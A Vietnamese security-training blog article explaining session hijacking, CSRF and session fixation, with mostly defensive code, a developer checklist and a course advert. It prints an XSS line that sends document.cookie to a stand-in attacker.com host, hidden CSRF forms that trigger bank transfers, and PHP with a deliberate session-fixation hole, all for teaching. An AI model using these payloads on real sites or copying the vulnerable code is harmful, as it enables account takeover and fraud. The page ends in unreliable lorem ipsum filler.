Session Hijacking là gì

Session Hijacking, CSRF, Session Fixation: Hacker đánh cắp phiên đăng nhập như thế nào?

Session Hijacking, CSRF attack, Session Fixation là gì? Tìm hiểu cách hacker đánh cắp session và cách bảo vệ website hiệu quả.

Session Hijacking là gì? CSRF Attack là gì? 

Session Hijacking là gì? Session hijacking (tấn công chiếm đoạt phiên) là kỹ thuật tấn công mà hacker đánh cắp hoặc giả mạo session ID của người dùng đã đăng nhập, từ đó mạo danh nạn nhân để thực hiện các hành động trái phép mà không cần biết mật khẩu.

CSRF Attack là gì? CSRF (Cross-Site Request Forgery) hay còn gọi là tấn công giả mạo yêu cầu từ trang web khác là hình thức tấn công khiến trình duyệt của nạn nhân tự động gửi yêu cầu độc hại đến một trang web mà họ đang đăng nhập, mà không hề hay biết.

Một website có thể bị hack dù password rất mạnh?

Rất nhiều developer nghĩ rằng, webiste của họ bất khả xâm phạm khi:

  • Có HTTPS là đủ an toàn
  • Password mạnh là đủ
  • Login bằng JWT hoặc Session Cookie là “ổn rồi”

Nhưng thực tế, hacker không cần biết mật khẩu và vẫn tấn công website của bạn. Cách mà hacker có thể như sau:

  • Chiếm quyền session đang đăng nhập
  • Ép người dùng thực hiện hành động ngoài ý muốn
  • Gắn session độc hại vào nạn nhân trước khi login

Phương thức tấn công này được gọi là:

  • Session Hijacking
  • CSRF (Cross-Site Request Forgery)
  • Session Fixation

Nếu xử lý sai session, toàn bộ hệ thống authentication có thể bị bypass dù user dùng mật khẩu cực mạnh.

Session Hijacking là gì

1. Session là gì {#tong-quan}

HTTP là giao thức stateless, mỗi request hoàn toàn độc lập, server không “nhớ” bạn là ai. Để giải quyết vấn đề này, các ứng dụng web sử dụng session: sau khi đăng nhập, server cấp một session ID duy nhất, lưu trong cookie trình duyệt, và dùng nó để xác thực danh tính ở mọi request tiếp theo.

Chính vì vậy, session ID là “chìa khóa vàng” của tài khoản người dùng. Nếu hacker chiếm được session ID, họ không cần mật khẩu, họ đã có toàn quyền truy cập.

Dữ liệu đáng lo ngại:

  • Theo OWASP Top 10, các lỗ hổng liên quan đến xác thực và quản lý session thuộc nhóm rủi ro cao nhất trong phát triển web.
  • Hàng triệu tài khoản bị chiếm đoạt mỗi năm thông qua các cuộc tấn công session.

2. Session Hijacking là gì?: Cơ chế & Các hình thức tấn công {#session-hijacking}

2.1. Sniffing (Nghe lén gói tin)

Khi dữ liệu truyền qua HTTP thuần (không mã hóa), hacker có thể dùng các công cụ như Wireshark để bắt gói tin và đọc session ID trong header Cookie.

GET /dashboard HTTP/1.1
Host: example.com
Cookie: PHPSESSID=abc123xyz789  ← Hacker đọc được giá trị này

Điều kiện: Nạn nhân và hacker cùng mạng (WiFi công cộng, mạng nội bộ).

2.2. Cross-Site Scripting (XSS) để đánh cắp Cookie

Đây là vector tấn công phổ biến nhất. Nếu website tồn tại lỗ hổng XSS, hacker có thể inject đoạn script:

javascript
// Script độc hại hacker inject vào website
document.location = 'https://attacker.com/steal?c=' + document.cookie;

Khi nạn nhân truy cập trang bị nhiễm, toàn bộ cookie — bao gồm session ID — bị gửi thẳng đến server của hacker.

2.3. Man-in-the-Middle (MitM)

Hacker đứng giữa kết nối client-server, chặn và đọc/sửa đổi các gói tin. Phổ biến trên mạng không dây thiếu bảo mật hoặc khi sử dụng SSL Stripping để hạ cấp HTTPS xuống HTTP.

2.4. Session Prediction (Đoán Session ID)

Nếu ứng dụng tạo session ID theo thuật toán có thể đoán được (sequential number, timestamp, v.v.), hacker có thể brute-force hoặc tính toán ra session ID hợp lệ.

session_id = md5(username + timestamp)  ← KHÔNG AN TOÀN
Session Hijacking là gì

3. CSRF Attack: Kẻ tấn công "mượn tay" người dùng {#csrf-attack}

CSRF Attack là gì? Giải thích bằng ví dụ thực tế

Kịch bản: Bạn đang đăng nhập vào internet banking. Cùng lúc đó, bạn vô tình click vào một link trong email lạ. Không có gì xảy ra trên màn hình nhưng thực ra, trình duyệt của bạn vừa âm thầm gửi một lệnh chuyển tiền đến server ngân hàng, sử dụng đúng session của bạn.

Đây chính xác là CSRF attack.

Cơ chế hoạt động của CSRF

1. Người dùng đăng nhập bank.com → nhận session cookie
2. Người dùng truy cập evil.com (đang mở tab khác)
3. evil.com chứa code độc hại:
html
<!-- Ảnh giả — thực ra là request chuyển tiền -->
<img src="https://bank.com/transfer?to=hacker&amount=10000000" 
     width="0" height="0">

<!-- Hoặc form tự submit -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="hacker_account">
  <input type="hidden" name="amount" value="10000000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
4. Trình duyệt tự động đính kèm cookie bank.com vào request
5. Server bank.com nhận request hợp lệ (có session đúng) → thực hiện chuyển tiền
6. Người dùng không hay biết gì

Điểm mấu chốt: CSRF khác Session Hijacking như thế nào?

Yếu tốSession HijackingCSRF Attack
Mục tiêuĐánh cắp session IDLợi dụng session đang có
Hacker cần biết session ID?Không
Hành động xảy ra ở đâu?Từ máy hackerTừ trình duyệt nạn nhân
Nạn nhân có biết không?Thường khôngHầu như không bao giờ

4. Session Fixation: Tấn công cố định phiên {#session-fixation}

Session Fixation là gì?

Session fixation là biến thể thông minh hơn của session hijacking: thay vì đánh cắp session ID của nạn nhân, hacker tự cung cấp một session ID cho nạn nhân và chờ nạn nhân đăng nhập vào đó.

Quy trình tấn công Session Fixation

Bước 1: Hacker lấy session ID chưa xác thực từ server
        → Ví dụ: SESSIONID=hacker_controlled_123

Bước 2: Hacker lừa nạn nhân sử dụng session ID đó
        → Gửi link: bank.com/login?SESSIONID=hacker_controlled_123
        → Hoặc inject cookie qua subdomain/XSS

Bước 3: Nạn nhân đăng nhập — server "đóng dấu" session đó là đã xác thực
        → SESSIONID=hacker_controlled_123 bây giờ = tài khoản của nạn nhân

Bước 4: Hacker dùng SESSIONID=hacker_controlled_123 để truy cập
        → Hacker đã đăng nhập vào tài khoản nạn nhân

Ví dụ về code lỗ hổng

php
// ❌ CODE CÓ LỖ HỔNG SESSION FIXATION
session_id($_GET['sid']); // Chấp nhận session ID từ URL — CỰC KỲ NGUY HIỂM
session_start();

if (login_success($username, $password)) {
    $_SESSION['user'] = $username;
    // Không tạo session ID mới sau login → lỗ hổng fixation
}
php
// ✅ CODE AN TOÀN
session_start();

if (login_success($username, $password)) {
    session_regenerate_id(true); // Tạo session ID mới sau khi xác thực thành công
    $_SESSION['user'] = $username;
}

5. So sánh 3 loại tấn công Session {#so-sanh}

Tiêu chíSession HijackingCSRFSession Fixation
Nguyên lýĐánh cắp sessionLợi dụng sessionÁp đặt session
Cần xác thực trước?Nạn nhân phải loginNạn nhân phải loginChỉ cần sau login
Hacker biết session ID?Sau tấn côngKhông cầnCó (tự cung cấp)
Yêu cầu vật lýCùng mạng (sniffing)Website độc hạiLink/cookie độc hại
Khó phát hiệnTrung bìnhCaoCao
Thiệt hại điển hìnhChiếm tài khoảnThực thi hành động trái phépChiếm tài khoản

6. Cách phòng chống toàn diện {#phong-chong}

6.1. Phòng chống Session Hijacking

a) Sử dụng HTTPS toàn bộ

nginx
# Nginx: Force HTTPS
server {
    listen 80;
    return 301 https://$host$request_uri;
}

b) Thiết lập Cookie Flags bảo mật

php
// PHP — Cookie an toàn
session_set_cookie_params([
    'lifetime' => 3600,
    'path'     => '/',
    'domain'   => 'example.com',
    'secure'   => true,    // Chỉ gửi qua HTTPS
    'httponly' => true,    // JavaScript không đọc được cookie
    'samesite' => 'Strict' // Ngăn gửi cookie trong cross-site request
]);
javascript
// Node.js / Express
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    secure: true,
    httpOnly: true,
    sameSite: 'strict',
    maxAge: 3600000
  }
}));

c) Tạo Session ID ngẫu nhiên và đủ mạnh

Session ID phải có độ dài tối thiểu 128 bits entropy, tạo bằng CSPRNG (Cryptographically Secure Pseudo-Random Number Generator). Tuyệt đối không dùng username, timestamp, hay sequential number.

d) Xác thực thêm User-Agent và IP (tùy ngữ cảnh)

Gắn session với một số thông tin phụ (IP range, User-Agent) và vô hiệu hóa session nếu phát hiện thay đổi bất thường.

6.2. Phòng chống CSRF Attack

a) CSRF Token: Phương pháp chuẩn

html
<!-- Mỗi form phải có CSRF token ẩn -->
<form method="POST" action="/transfer">
    <input type="hidden" name="_csrf" value="{{ csrf_token }}">
    <input type="text" name="amount">
    <button type="submit">Chuyển tiền</button>
</form>
python
# Django — tự động xử lý CSRF
from django.middleware.csrf import CsrfViewMiddleware
# Django bật CsrfViewMiddleware mặc định — luôn dùng {% csrf_token %} trong form

b) SameSite Cookie Attribute

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
  • SameSite=Strict: Cookie không bao giờ được gửi trong cross-site request.
  • SameSite=Lax: Cho phép trong navigation request (GET) nhưng chặn POST cross-site.
  • SameSite=None: Cho phép tất cả (phải kết hợp Secure).

c) Kiểm tra Origin/Referer Header

python
def check_csrf(request):
    origin = request.headers.get('Origin')
    referer = request.headers.get('Referer')
    allowed_origins = ['https://example.com']
    
    if origin and origin not in allowed_origins:
        raise CSRFError("Invalid origin")
    if referer:
        parsed = urlparse(referer)
        if f"{parsed.scheme}://{parsed.netloc}" not in allowed_origins:
            raise CSRFError("Invalid referer")

d) Double Submit Cookie Pattern

Kỹ thuật này gửi CSRF token ở cả cookie lẫn request body/header. Server xác nhận hai giá trị khớp nhau. Hacker không thể làm giả vì không đọc được cookie.

6.3. Phòng chống Session Fixation

java
// Java / Spring — Tái tạo session sau login
HttpSession oldSession = request.getSession(false);
if (oldSession != null) {
    oldSession.invalidate(); // Hủy session cũ
}
HttpSession newSession = request.getSession(true); // Tạo session mới
newSession.setAttribute("user", authenticatedUser);

Nguyên tắc vàng: Luôn tạo session ID mới ngay sau khi người dùng xác thực thành công. Không bao giờ chấp nhận session ID từ URL parameter.

6.4. Các biện pháp bổ sung

Timeout & Invalidation:

php
// Hết hạn session sau thời gian không hoạt động
define('SESSION_TIMEOUT', 1800); // 30 phút

if (isset($_SESSION['last_activity']) && 
    (time() - $_SESSION['last_activity']) > SESSION_TIMEOUT) {
    session_unset();
    session_destroy();
    redirect('/login');
}
$_SESSION['last_activity'] = time();

Logout đúng cách:

php
// ❌ Sai: Chỉ xóa biến session
unset($_SESSION['user']); // Session ID vẫn tồn tại!

// ✅ Đúng: Hủy hoàn toàn session
$_SESSION = [];
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}
session_destroy();

Content Security Policy (CSP) — ngăn XSS dẫn đến session theft:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'
Session Hijacking là gì

7. Checklist bảo mật Session cho developer {#checklist}

Dùng danh sách sau để kiểm tra ứng dụng của bạn:

Quản Lý Session ID

  • Session ID có độ dài ≥ 128 bits, tạo bằng CSPRNG
  • Session ID mới được tạo sau khi đăng nhập thành công
  • Session ID không bao giờ xuất hiện trong URL
  • Session bị hủy sau logout (cả server lẫn client)
  • Session timeout sau thời gian không hoạt động (≤ 30 phút cho dữ liệu nhạy cảm)

Cookie Flags

  • Secure flag được bật (chỉ gửi qua HTTPS)
  • HttpOnly flag được bật (ngăn JavaScript đọc cookie)
  • SameSite=Strict hoặc Lax được thiết lập
  • Domain và Path được giới hạn phù hợp

Chống CSRF

  • CSRF token được implement trên mọi state-changing request (POST/PUT/DELETE)
  • CSRF token đủ ngẫu nhiên, liên kết với session
  • CSRF token được kiểm tra ở phía server
  • SameSite cookie attribute được bật như lớp bảo vệ thứ hai

Chống XSS (vì XSS dẫn đến session theft)

  • Output encoding được áp dụng nhất quán
  • Content Security Policy (CSP) được cấu hình
  • Input validation được thực hiện cả client lẫn server

HTTPS & Transport

  • HTTPS được bật toàn bộ website
  • HSTS header được cấu hình
  • HTTP Strict Transport Security có includeSubDomains

Kết Luận

Session hijacking, CSRF, và session fixation là ba loại tấn công khác nhau nhưng đều nhắm vào điểm yếu của cơ chế quản lý phiên — trái tim của mọi ứng dụng web cần xác thực. Hiểu rõ cơ chế tấn công là bước đầu tiên để xây dựng phòng thủ hiệu quả.

Tóm tắt phòng chống:

  • Session Hijacking → HTTPS + HttpOnly/Secure cookie + XSS prevention
  • CSRF → CSRF token + SameSite cookie + Origin validation
  • Session Fixation → Luôn tái tạo session ID sau login

🎯 Nâng cao năng lực bảo mật Web cùng CO-WELL Tech Academy

Bài viết này chỉ đề cập một phần nhỏ trong bức tranh toàn cảnh về bảo mật ứng dụng web. Để thực sự bảo vệ hệ thống của bạn, bạn cần hiểu sâu hơn từ lý thuyết đến thực chiến.

Khóa học Bảo mật Website Toàn Diện của CO-WELL Tech Academy cung cấp:

  • Kiến thức hệ thống từ OWASP Top 10 đến các kỹ thuật tấn công nâng cao
  • Thực hành lab hands-on: pentest, phân tích lỗ hổng, viết code bảo mật
  • Hướng dẫn từ các chuyên gia bảo mật có kinh nghiệm thực tế
  • Chứng chỉ được công nhận trong ngành

👉 Tìm hiểu khóa học Bảo mật website toàn diện của CO-WELL Tech Academy và bắt đầu hành trình trở thành chuyên gia bảo mật ngay hôm nay.

Bạn đang có băn khoăn nào cần được giải đáp?

Có. Dù HTTPS đã giảm thiểu tấn công sniffing, session hijacking qua XSS vẫn cực kỳ phổ biến. Năm 2023, nhiều vụ tấn công lớn nhắm vào token OAuth và session cookie vẫn xảy ra.

Không. CSRF không cần đọc nội dung request — chỉ cần trình duyệt gửi request kèm cookie. HTTPS không ngăn được điều này. Bạn cần CSRF token hoặc SameSite cookie.

Gần như hoàn toàn với các trình duyệt hiện đại. Tuy nhiên, vẫn nên implement CSRF token như lớp bảo vệ thứ nhất vì SameSite có thể bị bypass trong một số trường hợp cụ thể (subdomain takeover, HTTP downgrade).

Session hijacking: hacker lấy session ID sau khi nạn nhân đăng nhập. Session fixation: hacker cung cấp session ID cho nạn nhân trước khi đăng nhập, rồi đợi nạn nhân đăng nhập vào session ID đó.

Django (Python), Laravel (PHP), Spring Security (Java), Rails (Ruby) đều có bảo vệ CSRF và session management tốt theo mặc định — nếu được cấu hình đúng cách. Tuy nhiên, developer vẫn cần hiểu cơ chế để không vô tình tắt các bảo vệ này.

Sử dụng các công cụ như OWASP ZAP, Burp Suite để pentest, hoặc tham khảo OWASP Testing Guide. Tốt nhất là học bài bản qua các khóa học bảo mật chuyên sâu.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Các tin tức khác